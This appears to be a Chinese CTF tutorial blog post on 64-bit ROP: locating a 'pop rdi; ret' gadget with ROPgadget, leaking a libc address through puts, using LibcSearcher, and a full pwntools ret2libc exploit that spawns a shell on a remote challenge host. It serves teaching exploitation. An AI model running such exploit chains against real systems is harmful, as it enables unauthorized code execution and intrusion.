64位传参利用方法&LibcSearcher使用入门&ROPgadget利用

ROP,需要通过puts函数泄露read函数地址,ROP时用puts函数的地址覆盖返回地址,用read函数的GOT表地址作为puts的参数传入。但是64位程序的函数传参是通过寄存器+堆栈的方式,因此无法直接通过栈溢出写入参数。解决方法是:在程序中寻找一处pop %rdi的指令,将数据写入rdi寄存器。
在程序中寻找pop %rdi需要一个叫ROPgadget的工具。
Linux指令:
ROPgadget --binary pwn | grep "pop rdi"

查到在程序的0x400763地址处存在一个pop rdi ; ret的指令。
可以先将rsp所指的那8个字节pop到rdi寄存器,然后再执行一个ret指令,正合我们的需求。

关于LibcSearcher的用法:
这个库最好在Linux下用,Windows下会出一些问题
用已泄露的函数地址,如read_addr去匹配即可
libc = LibcSearcher("read", read_addr) # 获取libc对象
libc.dump("read")可以获取read在对应libc中的偏移
甚至还能直接获取libc中的\bin\sh:
# 直接获取/bin/sh地址
binsh_addr = libc.dump("str_bin_sh") + libc_base

完整代码:

# -*- coding: utf-8
from pwn import *
from LibcSearcher import *
elf = ELF("pwn")
puts_addr = elf.sym['puts']
read_got = elf.got['read']
poprdi_addr = 0x400763  # 在这个地方有指令:pop rdi; ret
main_addr = 0x4006B8


payload1 = "a" * 0x40  # rubbish
payload1 += p64(0)  # old rbp
payload1 += p64(poprdi_addr)  # 第一次返回到pop rdi的地方
payload1 += p64(read_got)  # 这是puts的参数
payload1 += p64(puts_addr)
payload1 += p64(main_addr) # puts函数的返回地址,重新进入main函数
payload1 += "b" * (200 - len(payload1))

io = remote("111.200.241.244", 55160)
io.send(payload1)
io.recvline()
read_addr = io.recvline().split("\n")[0]
print(len(read_addr))
for i in range(len(read_addr), 8):
    read_addr += '\x00'  # 补足8字节
read_addr = u64(read_addr)
print(hex(read_addr))

# 用LibcSearcher查询函数,只需要传入已经泄露的地址即可自动匹配
libc = LibcSearcher("read", read_addr) # 获取libc对象
libc_base = read_addr - libc.dump("read")
system_addr = libc_base + libc.dump("system")

# 直接获取/bin/sh地址
binsh_addr = libc.dump("str_bin_sh") + libc_base

# 第二次需要调用system(binsh_addr)
payload2 = "a" * 0x40  # rubbish
payload2 += p64(0)  # old rbp
payload2 += p64(poprdi_addr)  # 第一次返回到pop rdi的地方
payload2 += p64(binsh_addr)  # 这是system的参数
payload2 += p64(system_addr)
payload2 += p64(main_addr)  # system函数的返回地址,重新进入main函数
payload2 += "b" * (200 - len(payload2))
io.send(payload2)
io.interactive()
  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值